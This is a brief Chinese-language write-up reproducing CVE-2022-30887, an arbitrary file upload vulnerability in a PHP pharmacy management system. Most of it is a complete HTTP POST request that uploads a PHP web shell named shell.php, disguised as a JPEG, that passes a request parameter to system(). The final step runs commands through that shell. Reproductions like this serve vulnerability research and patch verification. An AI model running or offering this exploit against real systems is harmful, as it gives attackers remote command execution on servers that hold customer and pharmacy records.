CVE-2022-30887漏洞复现

多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口，客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库，并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞，进而导致任意代码执行。

1. 访问ip:port

2.抓包，将抓取到的内容替换为如下poc，返回successfully即为上传成功。

POST /php_action/editProductImage.php?id=1 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 556
Connection: close
Cookie: PHPSESSID=t1jo541l52f76t9upiu0pbqv0c
Upgrade-Insecure-Requests: 1

-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"

-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: image/jpeg

<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>
</pre>
</body>
</html>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"

-----------------------------208935235035266125502673738631--

3.访问ip:port/assets/myimages/shell.php?s=whoami即可执行命令